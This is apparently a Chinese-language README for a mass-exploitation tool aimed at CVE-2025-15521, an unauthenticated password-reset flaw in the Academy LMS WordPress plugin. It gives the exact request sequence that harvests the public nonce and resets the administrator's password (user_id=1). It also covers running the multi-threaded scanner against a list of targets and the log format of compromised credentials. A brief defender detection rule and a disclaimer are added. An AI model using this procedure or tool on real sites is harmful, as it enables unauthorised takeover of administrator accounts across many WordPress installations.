Academy LMS – WordPress LMS Plugin for Complete eLearning Solution(WordPress 学习管理系统插件)在所有版本中(包括 3.5.0)存在通过账户接管进行权限提升的漏洞。
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 关注 @KNxploited — 第一时间获取 CVE 披露和可用的利用工具。
CVE-2025-15521 — 在 Academy LMS ≤ 3.5.0 中,通过密码重置实现未经身份验证的账户接管。
该插件的重置处理器仅使用一个公开暴露的 nonce(academy_nonce)来验证请求,该 nonce 嵌入在课程页面中。没有向用户邮箱发送令牌,没有会话检查,没有身份验证。攻击者只要读取任意课程页面,即可获得有效 nonce,然后通过提供 user_id(包括 user_id=1 即网站管理员)重置任何账户的密码。
CVSS 3.1:9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML 包含:"academy_nonce": "a1b2c3d4e5" ← 公开,无需认证
POST /academy-retrieve-password/?user_id=1
new_password=<任意内容>
confirm_new_password=<任意内容>
security=a1b2c3d4e5 ← nonce 被接受
→ user_id=1 的密码被更改。无邮件通知,无确认。
处理器在仅验证 wp_verify_nonce()(针对一个向所有访问者公开的 nonce)后,直接调用 wp_set_password()。没有任何检查确保请求方拥有被修改的账户。
academy_nonceuser_id 触发重置处理器,并设置指定密码/?author=N 重定向和 REST API(/wp-json/wp/v2/users)枚举用户名wordpress_logged_in cookie/wp-admin 中出现真实的管理员 UI 标识符(而非仅 200 响应)pip install requests colorama urllib3
需要 Python 3.8+,推荐 Python 3.10+。
python CVE-2025-15521.py
程序会提示输入以下内容:
目标列表文件(每行一个 URL):list.txt
线程数(并发站点)[5]:10
重置处理器路径 [/academy-retrieve-password/]:
课程根路径(nonce 来源)[/course/]:
每个站点扫描的最大 /course/ 子页面数 [15]:
要重置的 user_id(处理器目标)[1]:
新密码 [adminSA]:
HTTP 超时(秒)[10]:
输出文件 [scan_results/academy_access_success.txt]:
目标文件格式——每行一个 URL,协议可选:
https://target1.com
target2.com
https://target3.com/lms
终端——每个目标一行,不打印凭据:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
文件——仅记录确认的访问信息:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
对于防御者:
阻止或监控对重置端点的未认证 POST 请求:
POST *academy-retrieve-password* 且参数中包含:security=
检查主题课程页面源码中 rm_admin_order / academy_nonce 的暴露情况。如果未登录即可看到 nonce,则您的版本受影响。
立即修复步骤:
此工具仅用于授权的安全研究和渗透测试。
请仅对您拥有或已获得明确书面许可的系统运行它。
作者不对任何未经授权或非法使用承担任何责任。
未经授权使用违反 CFAA、CMA、EU Directive 2013/40/EU、沙特反网络犯罪法 M/17 号令及全球同等法律。
作者:Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 在 Telegram 上关注 @KNxploited 获取最新的 CVE 和利用工具发布。